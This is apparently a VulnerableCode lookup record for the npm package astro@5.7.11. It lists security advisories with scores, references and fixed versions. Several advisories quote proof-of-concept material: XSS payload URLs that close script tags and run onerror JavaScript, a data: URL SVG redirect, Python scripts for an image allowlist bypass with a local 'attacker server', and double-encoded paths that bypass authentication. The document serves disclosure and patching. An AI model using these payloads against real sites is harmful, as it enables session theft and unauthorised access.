Lookup for vulnerable packages by Package URL.

Purlpkg:npm/astro@5.7.11
Typenpm
Namespace
Nameastro
Version5.7.11
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version6.1.6
Latest_non_vulnerable_version6.1.10
Affected_by_vulnerabilities
0
url VCID-4nsb-h2qe-tug9
vulnerability_id VCID-4nsb-h2qe-tug9
summary
Astro Development Server has Arbitrary Local File Read
A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64757
reference_id
reference_type
scores
0
value 0.00022
scoring_system epss
scoring_elements 0.06319
published_at 2026-06-06T12:55:00Z
1
value 0.00022
scoring_system epss
scoring_elements 0.06329
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64757
1
reference_url https://github.com/withastro/astro
reference_id
reference_type
scores
0
value 3.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro
2
reference_url https://github.com/withastro/astro/commit/b8ca69b97149becefaf89bf21853de9c905cdbb7
reference_id
reference_type
scores
0
value 3.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-19T21:04:14Z/
url https://github.com/withastro/astro/commit/b8ca69b97149becefaf89bf21853de9c905cdbb7
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64757
reference_id CVE-2025-64757
reference_type
scores
0
value 3.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64757
4
reference_url https://github.com/advisories/GHSA-x3h8-62x9-952g
reference_id GHSA-x3h8-62x9-952g
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-x3h8-62x9-952g
5
reference_url https://github.com/withastro/astro/security/advisories/GHSA-x3h8-62x9-952g
reference_id GHSA-x3h8-62x9-952g
reference_type
scores
0
value 3.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
1
value LOW
scoring_system cvssv3.1_qr
scoring_elements
2
value LOW
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-19T21:04:14Z/
url https://github.com/withastro/astro/security/advisories/GHSA-x3h8-62x9-952g
fixed_packages
0
url pkg:npm/astro@5.14.3
purl pkg:npm/astro@5.14.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
1
vulnerability VCID-gmum-ebwt-f3at
2
vulnerability VCID-j5k1-5dfe-8udj
3
vulnerability VCID-jcqr-tk29-xbat
4
vulnerability VCID-k4f1-y5qy-9ka4
5
vulnerability VCID-rjus-p7ga-fugs
6
vulnerability VCID-tkwe-8ejd-mfb6
7
vulnerability VCID-wvqv-3kwm-1uba
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.14.3
aliases CVE-2025-64757, GHSA-x3h8-62x9-952g
risk_score 1.6
exploitability 0.5
weighted_severity 3.1
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4nsb-h2qe-tug9
1
url VCID-7vja-km1g-5bdg
vulnerability_id VCID-7vja-km1g-5bdg
summary
Astros's duplicate trailing slash feature leads to an open redirection security issue
There is an Open Redirection vulnerability in the trailing slash redirection logic when handling paths with double slashes. This allows an attacker to redirect users to arbitrary external domains by crafting URLs such as `https://mydomain.com//malicious-site.com/`. This increases the risk of phishing and other social engineering attacks.

This affects Astro >=5.2.0 sites that use on-demand rendering (SSR) with the Node or Cloudflare adapter. It does not affect static sites, or sites deployed to Netlify or Vercel.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-54793
reference_id
reference_type
scores
0
value 0.01096
scoring_system epss
scoring_elements 0.78371
published_at 2026-06-06T12:55:00Z
1
value 0.01096
scoring_system epss
scoring_elements 0.78362
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-54793
1
reference_url https://github.com/withastro/astro
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro
2
reference_url https://github.com/withastro/astro/commit/0567fb7b50c0c452be387dd7c7264b96bedab48f
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-08-08T16:55:19Z/
url https://github.com/withastro/astro/commit/0567fb7b50c0c452be387dd7c7264b96bedab48f
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-54793
reference_id CVE-2025-54793
reference_type
scores
0
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-54793
4
reference_url https://github.com/advisories/GHSA-cq8c-xv66-36gw
reference_id GHSA-cq8c-xv66-36gw
reference_type
scores
url https://github.com/advisories/GHSA-cq8c-xv66-36gw
5
reference_url https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw
reference_id GHSA-cq8c-xv66-36gw
reference_type
scores
0
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-08-08T16:55:19Z/
url https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw
fixed_packages
0
url pkg:npm/astro@5.12.8
purl pkg:npm/astro@5.12.8
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4nsb-h2qe-tug9
1
vulnerability VCID-a19r-4mhu-syhd
2
vulnerability VCID-gmum-ebwt-f3at
3
vulnerability VCID-j5k1-5dfe-8udj
4
vulnerability VCID-jcqr-tk29-xbat
5
vulnerability VCID-k4f1-y5qy-9ka4
6
vulnerability VCID-qcs7-nt67-7qe5
7
vulnerability VCID-rjus-p7ga-fugs
8
vulnerability VCID-tkwe-8ejd-mfb6
9
vulnerability VCID-w3zj-e7u2-2fh1
10
vulnerability VCID-wvqv-3kwm-1uba
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.12.8
aliases CVE-2025-54793, GHSA-cq8c-xv66-36gw
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-7vja-km1g-5bdg
2
url VCID-a19r-4mhu-syhd
vulnerability_id VCID-a19r-4mhu-syhd
summary
Astro: XSS in define:vars via incomplete </script> tag sanitization
## Summary

The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript.

## Details

The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`:

```typescript
export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}
```

This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`:

```typescript
if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}
```

The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody):

1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag.
2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`.

`JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged.

**Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

## PoC

**Step 1:** Create an SSR Astro page (`src/pages/index.astro`):

```astro
---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars={{ name }}>
    console.log(name);
  </script>
</body>
</html>
```

**Step 2:** Ensure SSR is enabled in `astro.config.mjs`:

```js
export default defineConfig({
  output: 'server'
});
```

**Step 3:** Start the dev server and visit:

```
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
```

**Step 4:** View the HTML source. The output contains:

```html
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>
```

The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes.

**Alternative bypass payloads:**

```
/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
```

## Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:
- **Session hijacking** via cookie theft (`document.cookie`)
- **Credential theft** by injecting fake login forms or keyloggers
- **Defacement** of the rendered page
- **Redirection** to attacker-controlled domains

The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable.

## Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output:

```typescript
export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}
```

This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41067
reference_id
reference_type
scores
0
value 0.00053
scoring_system epss
scoring_elements 0.16951
published_at 2026-06-06T12:55:00Z
1
value 0.00053
scoring_system epss
scoring_elements 0.16956
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41067
1
reference_url https://github.com/withastro/astro
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro
2
reference_url https://github.com/withastro/astro/releases/tag/astro@6.1.6
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro/releases/tag/astro@6.1.6
3
reference_url https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-24T17:27:06Z/
url https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-41067
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-41067
5
reference_url https://github.com/advisories/GHSA-j687-52p2-xcff
reference_id GHSA-j687-52p2-xcff
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-j687-52p2-xcff
fixed_packages
0
url pkg:npm/astro@6.1.6
purl pkg:npm/astro@6.1.6
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@6.1.6
aliases CVE-2026-41067, GHSA-j687-52p2-xcff
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-a19r-4mhu-syhd
3
url VCID-gmum-ebwt-f3at
vulnerability_id VCID-gmum-ebwt-f3at
summary
Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint
**Summary**
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the **@astrojs/cloudflare** adapter with `output: 'server'`. The built-in image optimization endpoint (`/_image`) uses `isRemoteAllowed()` from Astro’s internal helpers, which **unconditionally allows `data:` URLs**. When the endpoint receives a valid `data:` URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a **302 redirect back to the original `data:` URL**, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (`image.domains` / `image.remotePatterns`) and typical Content Security Policy mitigations.

**Affected Versions**
- `@astrojs/cloudflare` ≤ 12.6.10 (and likely all previous versions)
- Astro ≥ 4.x when used with `output: 'server'` and the Cloudflare adapter

**Root Cause – Vulnerable Code**
File: `node_modules/@astrojs/internal-helpers/src/remote.ts`

```ts
export function isRemoteAllowed(src: string, ...): boolean {
if (!URL.canParse(src)) {
return false;
}
const url = new URL(src);

// Data URLs are always allowed
if (url.protocol === 'data:') {
return true;
}

// Non-http(s) protocols are never allowed
if (!['http:', 'https:'].includes(url.protocol)) {
return false;
}
// ... further http/https allow-list checks
}
```

In the **Cloudflare adapter**, the `/_image` endpoint contains logic similar to:

```ts
const href = ctx.url.searchParams.get('href');
if (!href) {
// return error
}

if (isRemotePath(href)) {
if (isRemoteAllowed(href, imageConfig) === false) {
// return error
} else {
//redirect to return the image
return Response.redirect(href, 302);
}
}
```

Because `data:` URLs are considered “allowed”, a request such as:
`https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)`

triggers a **302 redirect directly to the `data:` URL**, causing the browser to render and execute the malicious JavaScript inside the SVG.

**Proof of Concept (PoC)**

1. Create a minimal Astro project with Cloudflare adapter (`output: 'server'`).
2. Deploy to Cloudflare Pages or Workers.
3. Request the image endpoint with the following payload:
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-65019
reference_id
reference_type
scores
0
value 0.00033
scoring_system epss
scoring_elements 0.10219
published_at 2026-06-06T12:55:00Z
1
value 0.00033
scoring_system epss
scoring_elements 0.10199
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-65019
1
reference_url https://github.com/withastro/astro
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro
2
reference_url https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-19T21:05:09Z/
url https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-65019
reference_id CVE-2025-65019
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-65019
4
reference_url https://github.com/advisories/GHSA-fvmw-cj7j-j39q
reference_id GHSA-fvmw-cj7j-j39q
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fvmw-cj7j-j39q
5
reference_url https://github.com/withastro/astro/security/advisories/GHSA-fvmw-cj7j-j39q
reference_id GHSA-fvmw-cj7j-j39q
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-19T21:05:09Z/
url https://github.com/withastro/astro/security/advisories/GHSA-fvmw-cj7j-j39q
fixed_packages
0
url pkg:npm/astro@5.15.9
purl pkg:npm/astro@5.15.9
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
1
vulnerability VCID-jcqr-tk29-xbat
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.15.9
aliases CVE-2025-65019, GHSA-fvmw-cj7j-j39q
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-gmum-ebwt-f3at
4
url VCID-j5k1-5dfe-8udj
vulnerability_id VCID-j5k1-5dfe-8udj
summary
Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass
In impacted versions of Astro using [on-demand rendering](https://docs.astro.build/en/guides/on-demand-rendering/), request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

- Middleware-based protected route bypass (only via `x-forwarded-proto`)
- DoS via cache poisoning (if a CDN is present)
- SSRF (only via `x-forwarded-proto`)
- URL pollution (potential SXSS, if a CDN is present)
- WAF bypass
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1
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url https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64525
reference_id CVE-2025-64525
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url https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767
fixed_packages
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url pkg:npm/astro@5.15.5
purl pkg:npm/astro@5.15.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
1
vulnerability VCID-gmum-ebwt-f3at
2
vulnerability VCID-jcqr-tk29-xbat
3
vulnerability VCID-k4f1-y5qy-9ka4
4
vulnerability VCID-rjus-p7ga-fugs
5
vulnerability VCID-tkwe-8ejd-mfb6
6
vulnerability VCID-wvqv-3kwm-1uba
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.15.5
aliases CVE-2025-64525, GHSA-hr2q-hp5q-x767
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-j5k1-5dfe-8udj
5
url VCID-jcqr-tk29-xbat
vulnerability_id VCID-jcqr-tk29-xbat
summary
Astro: Remote allowlist bypass via unanchored matchPathname wildcard
## Summary
This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

## Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

## Description
Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()`

User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

```ts
const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}
```

`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

```ts
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}
```

The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

```ts
} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}
```

**Vulnerable code flow:**
1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.
2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path.
3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.

## PoC

The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

### Vulnerable config
```js
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});
```

### Affected pages
This PoC targets the `/_image` endpoint directly; no additional pages are required.

### PoC Code
```python
import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

# Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))
```

### Attacker server
```python
from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()
```

### PoC Steps
1. Bootstrap default Astro project.
2. Add the vulnerable config and attacker server.
3. Build the project.
4. Start the attacker server.
5. Start the Astro server.
6. Run the PoC.
7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
references
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fixed_packages
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purl pkg:npm/astro@5.18.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.18.1
aliases CVE-2026-33769, GHSA-g735-7g2w-hh3f
risk_score 2.4
exploitability 0.5
weighted_severity 4.8
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-jcqr-tk29-xbat
6
url VCID-k4f1-y5qy-9ka4
vulnerability_id VCID-k4f1-y5qy-9ka4
summary
Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765
A **double URL encoding bypass** allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like `/%2561dmin` instead of `/%61dmin`, attackers can still bypass authentication and access protected resources such as `/admin`, `/api/internal`, or any route protected by middleware pathname checks.
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0
vulnerability VCID-a19r-4mhu-syhd
1
vulnerability VCID-gmum-ebwt-f3at
2
vulnerability VCID-jcqr-tk29-xbat
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aliases CVE-2025-66202, GHSA-whqg-ppgf-wp8c
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-k4f1-y5qy-9ka4
7
url VCID-qcs7-nt67-7qe5
vulnerability_id VCID-qcs7-nt67-7qe5
summary
Astro allows unauthorized third-party images in _image endpoint
In affected versions of `astro`, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.
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value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 6.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
2
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-08-19T20:49:42Z/
url https://github.com/withastro/astro/commit/4d16de7f95db5d1ec1ce88610d2a95e606e83820
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-55303
reference_id CVE-2025-55303
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 6.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-55303
4
reference_url https://github.com/advisories/GHSA-xf8x-j4p2-f749
reference_id GHSA-xf8x-j4p2-f749
reference_type
scores
url https://github.com/advisories/GHSA-xf8x-j4p2-f749
5
reference_url https://github.com/withastro/astro/security/advisories/GHSA-xf8x-j4p2-f749
reference_id GHSA-xf8x-j4p2-f749
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value 6.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
2
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-08-19T20:49:42Z/
